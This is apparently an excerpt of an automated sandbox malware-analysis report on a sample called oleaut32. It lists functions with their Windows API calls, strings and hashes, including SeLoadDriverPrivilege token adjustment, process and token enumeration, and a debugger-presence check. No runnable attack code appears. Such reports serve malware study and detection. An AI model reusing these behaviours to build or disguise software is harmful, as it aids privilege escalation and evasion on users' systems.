Opcode Fuzzy Hash: f26af51f5fcc3a4d76e463ed653cbfb2d1ed553985f9b32f311a00a3e9e49388
Instruction Fuzzy Hash: 69F0E530A212D047CA3C667B5C8E3391A857789300F354905F5D9EB2E0E631CC80EF52

Function 020D27B0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 020D27D9

Memory Dump Source

Source File: 00000001.00000002.2928404757.00000000020D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_20d1000_oleaut32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: e67df3a0f2bd9aee47a50fc50a56210625116345738d3406d5e3f45d897249aa
Instruction ID: df102b4f6ad5aa3c598680440caf25ebf393a57277452f76324ea4ad259725d0
Opcode Fuzzy Hash: e67df3a0f2bd9aee47a50fc50a56210625116345738d3406d5e3f45d897249aa
Instruction Fuzzy Hash: E5D05EB4D41308FFE700EFE4D90AB9DBFB4EB04301F508164E904AB240E6B02A04DF52

Function 020D1820 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 020D182F

Memory Dump Source

Source File: 00000001.00000002.2928404757.00000000020D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_20d1000_oleaut32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 6a40692a0c5b6d2910aa38e7f5b0dd9b1a1fdd170732a314ba8bc0c97438c202
Instruction ID: f24f861fff804c7bb19be4a5384d262d0b83992b136bcfe5198fd1f87a61bd05
Opcode Fuzzy Hash: 6a40692a0c5b6d2910aa38e7f5b0dd9b1a1fdd170732a314ba8bc0c97438c202
Instruction Fuzzy Hash: 53C04C7A55530CAB8B04DF98E894DAB3BADBB8C610B44C548BA1DC7200C634F9108BA5

Non-executed Functions

Function 0040E220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0040E22E
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 0040E23B
LookupPrivilegeValueW.ADVAPI32(00000000,SeLoadDriverPrivilege,?), ref: 0040E24D
AdjustTokenPrivileges.ADVAPI32 ref: 0040E28B

Strings

SeLoadDriverPrivilege, xrefs: 0040E246

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeLoadDriverPrivilege
API String ID: 2349140579-497486668
Opcode ID: cffa3139d4f1966d0e1b8d4b561fce07a712f7e5228b86654aafc6df663748c5
Instruction ID: 6ea790c7a31b1ba1ad77907437152988263291b3601ce40a83fb03ebe5ecb5a6
Opcode Fuzzy Hash: cffa3139d4f1966d0e1b8d4b561fce07a712f7e5228b86654aafc6df663748c5
Instruction Fuzzy Hash: D301DAB4548301AFD704DF50C999F9BBBE4AB8CB08F40891DF58A862A0E774E948CB56

Function 004100FB Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041212A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041213F
UnhandledExceptionFilter.KERNEL32(0041989C), ref: 0041214A
GetCurrentProcess.KERNEL32(C0000409), ref: 00412166
TerminateProcess.KERNEL32(00000000), ref: 0041216D

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 6f2c9a2ca4667ff0c482e712aad0c8141d9414460f1110707eeb279986343969
Instruction ID: b5dc470c48336d2cad9fc5f7ad5caf64c585ac90b15cfe1187e4ee1c5b5d9eed
Opcode Fuzzy Hash: 6f2c9a2ca4667ff0c482e712aad0c8141d9414460f1110707eeb279986343969
Instruction Fuzzy Hash: 8C21DBB4911204EFD700DF69EC896C63BB4BB6C315F50803AE90A87372E7B4598A8F1D

Function 005E1FA0 Relevance: 1.4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

Strings

Pra, xrefs: 005E202A, 005E215D, 005E21CA

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID:
String ID: Pra
API String ID: 0-3024207128
Opcode ID: d3c4995f3588d771e323b396eccd1f2f5837ef9389da6937f8d0741b7250e22d
Instruction ID: 72794d61f80a2729f0e56f82e43f489abd03e102c61a61fb61308adda35e5b9e
Opcode Fuzzy Hash: d3c4995f3588d771e323b396eccd1f2f5837ef9389da6937f8d0741b7250e22d
Instruction Fuzzy Hash: 6D5136746001C29BDB2C8F6A8C8963A3EE6FBD0340F144829F591CF295DB75CE049796

Function 00413A77 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,004109B8), ref: 00413A7F
__mtterm.LIBCMT ref: 00413A8B

Part of subcall function 004137C4: DecodePointer.KERNEL32(00000006,00413BED,?,004109B8), ref: 004137D5
Part of subcall function 004137C4: TlsFree.KERNEL32(00000004,00413BED,?,004109B8), ref: 004137EF
Part of subcall function 004137C4: DeleteCriticalSection.KERNEL32(00000000,00000000,76EF5810,?,00413BED,?,004109B8), ref: 00414742
Part of subcall function 004137C4: _free.LIBCMT ref: 00414745
Part of subcall function 004137C4: DeleteCriticalSection.KERNEL32(00000004,76EF5810,?,00413BED,?,004109B8), ref: 0041476C

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00413AA1
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00413AAE
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00413ABB
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00413AC8
TlsAlloc.KERNEL32(?,004109B8), ref: 00413B18
TlsSetValue.KERNEL32(00000000,?,004109B8), ref: 00413B33
__init_pointers.LIBCMT ref: 00413B3D
EncodePointer.KERNEL32(?,004109B8), ref: 00413B4E
EncodePointer.KERNEL32(?,004109B8), ref: 00413B5B
EncodePointer.KERNEL32(?,004109B8), ref: 00413B68
EncodePointer.KERNEL32(?,004109B8), ref: 00413B75
DecodePointer.KERNEL32(00413948,?,004109B8), ref: 00413B96
__calloc_crt.LIBCMT ref: 00413BAB
DecodePointer.KERNEL32(00000000,?,004109B8), ref: 00413BC5
GetCurrentThreadId.KERNEL32 ref: 00413BD7

Strings

FlsSetValue, xrefs: 00413AB0
FlsGetValue, xrefs: 00413AA3
FlsAlloc, xrefs: 00413A9B
KERNEL32.DLL, xrefs: 00413A7A
FlsFree, xrefs: 00413ABD

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: 7fa4eb56ef05f7034d1ff1bbb87a14009720894ebe7a7eebfb30a0a54c149666
Instruction ID: b88612f9e2fa8c258af8cfdc3785799afccaa31c7b0e2b814971bbd95b978274
Opcode Fuzzy Hash: 7fa4eb56ef05f7034d1ff1bbb87a14009720894ebe7a7eebfb30a0a54c149666
Instruction Fuzzy Hash: 9E31B370904215ABD710AFB9FD096E63FF0AB48765710843BE815D32B1E7799986CF8C

Function 0040F7B0 Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 190windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0040F8A1
ShowWindow.USER32(00000000,00000001), ref: 0040F8BA
SendMessageW.USER32(00000000,0000100C,000000FF,00000002), ref: 0040F901
wsprintfW.USER32 ref: 0040F92B
MessageBoxW.USER32(00000000,System process can't been terminated!,Windows Notification,00000000), ref: 0040F956
SendMessageW.USER32(00000000,0000100C,00000000,00000002), ref: 0040F96B
DefWindowProcW.USER32(?,?,?,?), ref: 0040FA5F

Strings

Windows Notification, xrefs: 0040F94B, 0040F9F4
iPos=%d, xrefs: 0040F925
System process can't been terminated!, xrefs: 0040F950
The application name can't be found. Please make sure whether the name is right!, xrefs: 0040F9F9
View My Processes, xrefs: 0040F9AC
View All Processes, xrefs: 0040F991

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: Message$SendWindow$PostProcQuitShowwsprintf
String ID: System process can't been terminated!$The application name can't be found. Please make sure whether the name is right!$View All Processes$View My Processes$Windows Notification$iPos=%d
API String ID: 4014529712-140908480
Opcode ID: 746f52bec132f143904a4d114beca3bddeb3b89a76c870e33d9bf59fe38b171c
Instruction ID: b9e1b8610fbedb75af30f79fd81a6c46aadfc3012c35c013c55d51da3f45cb0f
Opcode Fuzzy Hash: 746f52bec132f143904a4d114beca3bddeb3b89a76c870e33d9bf59fe38b171c
Instruction Fuzzy Hash: 8061E7B2610201FBD734AB64EC59BE733A4A788300F14893BE556B76D0E738AC4D8B5D

Function 0040F510 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 155processCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 0040F53E
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F548
Process32FirstW.KERNEL32(00000000,?), ref: 0040F58B
CloseHandle.KERNEL32(00000000), ref: 0040F5A2

Part of subcall function 0040E170: GetLastError.KERNEL32 ref: 0040E18D
Part of subcall function 0040E170: FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,00000100,00000100,00000000), ref: 0040E1AE

Strings

CreateToolhelp32Snapshot (of processes), xrefs: 0040F558
%d K, xrefs: 0040F6E7
Process32First, xrefs: 0040F594
, xrefs: 0040F5F7

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: CloseCreateErrorFirstFormatHandleLastMessageNameProcess32SnapshotToolhelp32User
String ID: $%d K$CreateToolhelp32Snapshot (of processes)$Process32First
API String ID: 3266005361-2221559773
Opcode ID: 5abc778807c62ae2baa570d19bc32579730fa3d8dd42b44df11fc9701d9f20bb
Instruction ID: 63f366d3fdf1a23c1a20b758398628cdb4654b08413e4f9ed28baa702ff12125
Opcode Fuzzy Hash: 5abc778807c62ae2baa570d19bc32579730fa3d8dd42b44df11fc9701d9f20bb
Instruction Fuzzy Hash: 6251B671504300ABD324AB64DC52FEB73E8EF84758F44493EF589922C1EB7C9948879B

Function 0040E800 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 76windowCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040E834
wsprintfW.USER32 ref: 0040E848
wsprintfW.USER32 ref: 0040E85C
wsprintfW.USER32 ref: 0040E870
wsprintfW.USER32 ref: 0040E884
SendMessageW.USER32(?,?,?,00001061), ref: 0040E8EF

Strings

Process Name, xrefs: 0040E836
Memory, xrefs: 0040E85E
d, xrefs: 0040E8DF
User Name, xrefs: 0040E84A
Process ID, xrefs: 0040E825
Description, xrefs: 0040E872

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: wsprintf$MessageSend
String ID: Description$Memory$Process ID$Process Name$User Name$d
API String ID: 12235790-2901759098
Opcode ID: e5dbcb87020978b1e542e2b3685ea65f06ad9b3c102300a686b14875117c4917
Instruction ID: 279726ffbfae14383190c6c753e1979e50f314c5c8a28d2d91e27df4f51d6de9
Opcode Fuzzy Hash: e5dbcb87020978b1e542e2b3685ea65f06ad9b3c102300a686b14875117c4917
Instruction Fuzzy Hash: 772161B1A48340AFC360CF65C895B9BBBE4EB89704F504D2FF08893240D7B99945CF9A

Function 0040E2A0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 128COMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32 ref: 0040E2D4
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,0000012C,?), ref: 0040E2FF
CloseHandle.KERNEL32(?), ref: 0040E35E
wsprintfW.USER32 ref: 0040E3AE
wsprintfW.USER32 ref: 0040E3CD
wsprintfW.USER32 ref: 0040E3E4

Strings

%s %s, xrefs: 0040E3A8
LookupAccountSid, xrefs: 0040E348
GetTokenInformation, xrefs: 0040E309
OpenProcessToken, xrefs: 0040E2DE

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: wsprintf$Token$CloseHandleInformationOpenProcess
String ID: %s %s$GetTokenInformation$LookupAccountSid$OpenProcessToken
API String ID: 2594950064-3173787032
Opcode ID: e7827d6f24756a15ea7fd67e0d12da55e7482696f9941f31bcf56fd5c500a86e
Instruction ID: affa38bc1eb5f0fd5749b03f1417e1fb464e194ef1bd6555a84b7e3c49497071
Opcode Fuzzy Hash: e7827d6f24756a15ea7fd67e0d12da55e7482696f9941f31bcf56fd5c500a86e
Instruction Fuzzy Hash: C741A371508301ABE720CF25C845BEB77E8ABC8744F044D2EF88993291E778A955CB9A

Function 0040E4B0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 153COMMON

Download Yara Rule

APIs

QueryFullProcessImageNameW.KERNEL32 ref: 0040E4F3

Part of subcall function 0040E170: GetLastError.KERNEL32 ref: 0040E18D
Part of subcall function 0040E170: FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,00000100,00000100,00000000), ref: 0040E1AE

GetFileVersionInfoSizeW.VERSION(?,?), ref: 0040E536
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 0040E577
VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,?,?,00000000,00000000), ref: 0040E594
wsprintfW.USER32 ref: 0040E5C3
VerQueryValueW.VERSION(00000000,?,?,?,?,?,00000000,00000000), ref: 0040E5DC
_wcsncpy.LIBCMT ref: 0040E652

Strings

\VarFileInfo\Translation, xrefs: 0040E58E
\StringFileInfo\%04X%04X\FileDescription, xrefs: 0040E5BD
QueryFullProcessImageName, xrefs: 0040E4FD

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: Query$FileInfoValueVersion$ErrorFormatFullImageLastMessageNameProcessSize_wcsncpywsprintf
String ID: QueryFullProcessImageName$\StringFileInfo\%04X%04X\FileDescription$\VarFileInfo\Translation
API String ID: 3020331544-1601958718
Opcode ID: 717397a408e92381d84000f1c6290437c4a0c9b5022d2bdde5cfeda8ea2e2501
Instruction ID: eaa9ef88b69fa93d3b711ac30ff6fc1bf7e9ecaf4ef91606315cd00198441a56
Opcode Fuzzy Hash: 717397a408e92381d84000f1c6290437c4a0c9b5022d2bdde5cfeda8ea2e2501
Instruction Fuzzy Hash: F14119725043016BD324EB22DC45FBB73E8AF98744F444D3EF849922D1EA79D908C76A

Function 020D14A0 Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 020D14DB
SetLastError.KERNEL32(0000007F), ref: 020D1507

Memory Dump Source

Source File: 00000001.00000002.2928404757.00000000020D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_20d1000_oleaut32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: dbc29a1ff75e0ad2a2a1d20f98984f0798f7d3532a2cd136c988fffeafccbcc3
Instruction ID: bf8835efad1eb6c7d86bd4cf30fb949eb3bd146d8f614a361f33110ff607e7c9
Opcode Fuzzy Hash: dbc29a1ff75e0ad2a2a1d20f98984f0798f7d3532a2cd136c988fffeafccbcc3
Instruction Fuzzy Hash: 5B71E474E05309EFDB08DF94C590BADB7B2BF48304F6485A8D91AAB385D734AA41DF90

Function 0040E720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47processCOMMON

Download Yara Rule

APIs

__wcsdup.LIBCMT ref: 0040E729
_memset.LIBCMT ref: 0040E739
CreateProcessW.KERNEL32 ref: 0040E774
CloseHandle.KERNEL32(?), ref: 0040E78E
CloseHandle.KERNEL32(?), ref: 0040E795

Strings

D, xrefs: 0040E76C

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: CloseHandle$CreateProcess__wcsdup_memset
String ID: D
API String ID: 169418676-2746444292
Opcode ID: 85112b14f432fe8e92b2228129b8667fad4ace48c94bb840cbc2fdde4ee473de
Instruction ID: 0b47bd45ec23967565d9eba1f3cace27cbad009f0a552ed0d82179670a4d4d1e
Opcode Fuzzy Hash: 85112b14f432fe8e92b2228129b8667fad4ace48c94bb840cbc2fdde4ee473de
Instruction Fuzzy Hash: DB0167B15043006BD310EF69CD41B8B7BE9AF88B40F40891EF659D7240E7B9D9448B97

Function 00413801 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0041BDC8,00000008,00413909,00000000,00000000,?,?,00413936,?,00410F75,?,?,00412311,?,?), ref: 00413812
__lock.LIBCMT ref: 00413846

Part of subcall function 00414855: __mtinitlocknum.LIBCMT ref: 0041486B
Part of subcall function 00414855: __amsg_exit.LIBCMT ref: 00414877
Part of subcall function 00414855: EnterCriticalSection.KERNEL32(?,?,?,0041384B,0000000D), ref: 0041487F

InterlockedIncrement.KERNEL32(0041D6E0), ref: 00413853
__lock.LIBCMT ref: 00413867
___addlocaleref.LIBCMT ref: 00413885

Strings

KERNEL32.DLL, xrefs: 0041380D

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 505229052a6e4527589a65c49ba15e4997feadab8069fec7672dd3e55b735240
Instruction ID: 08fdddae76046f13a4609d0da6d3235dc21c8c00c6474d33689b1c42df5d2c84
Opcode Fuzzy Hash: 505229052a6e4527589a65c49ba15e4997feadab8069fec7672dd3e55b735240
Instruction Fuzzy Hash: 2D016171941B00DBD720AF66D8067C9BBE0AF50329F20851FE499966A0CBB8A6C4CB19

Function 00412B32 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00412B53

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00412B64
__getptd.LIBCMT ref: 00412B72

Strings

csm, xrefs: 00412B4C
MOC, xrefs: 00412B45
RCC, xrefs: 00412B3E

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: 66b2e007dd2f0717e7ab3a31a7d58449cee3c19ef04977a7d51ab5e99ac2dfe5
Instruction ID: 0f2876ffef59d3c6b375385131f6e652370e27b5964fd21b7b7078cf082998b9
Opcode Fuzzy Hash: 66b2e007dd2f0717e7ab3a31a7d58449cee3c19ef04977a7d51ab5e99ac2dfe5
Instruction Fuzzy Hash: 9AE0ED359186088EC724AF69C18ABE933A5EB44319F1510A7A44DCB223D7ACEAE0854A

Function 005E9E20 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 337COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00100000,00000001,00000000), ref: 005E9F75
GetCurrentProcess.KERNEL32(00000000), ref: 005E9F78
GetCurrentProcess.KERNEL32(00000000), ref: 005E9F7B

Strings

K<n(, xrefs: 005EA114
:3K0, xrefs: 005EA183

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID: :3K0$K<n(
API String ID: 2050909247-2412546189
Opcode ID: 2a400eb4ca6dd679954ed866cc09f4f32df3d1c5ff7ae4fc4b214b8c6f504fd4
Instruction ID: fc7dc7e6160d8d2ed259b3eedd01e5963c26b5b32f13cfe909b8cb4872b6f47b
Opcode Fuzzy Hash: 2a400eb4ca6dd679954ed866cc09f4f32df3d1c5ff7ae4fc4b214b8c6f504fd4
Instruction Fuzzy Hash: 1AB1B270B043C58BCB1CEF768989A2A7BA6BBD4740F144859F5C9CB391DA34DD0587A2

Function 00412DE4 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00412E0C

Part of subcall function 0041069A: __getptd.LIBCMT ref: 004106A8
Part of subcall function 0041069A: __getptd.LIBCMT ref: 004106B6

__getptd.LIBCMT ref: 00412E16

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00412E24
__getptd.LIBCMT ref: 00412E32
__getptd.LIBCMT ref: 00412E3D
_CallCatchBlock2.LIBCMT ref: 00412E63

Part of subcall function 0041073F: __CallSettingFrame@12.LIBCMT ref: 0041078B

Part of subcall function 00412F0A: __getptd.LIBCMT ref: 00412F19
Part of subcall function 00412F0A: __getptd.LIBCMT ref: 00412F27

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 6c28b232d037bb653eeda2a51553b0eea48fe0f0670f77926a949ef858724b48
Instruction ID: 7569b259fc3e624cf5a97b96a7300a54ad765ced98981fdc73afb8e83ec2d13a
Opcode Fuzzy Hash: 6c28b232d037bb653eeda2a51553b0eea48fe0f0670f77926a949ef858724b48
Instruction Fuzzy Hash: C011E4B5D002099FDB00EFA5D986BED7BB0FF04315F10806AF854AB251DB789A919F58

Function 00414EB0 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414EBC

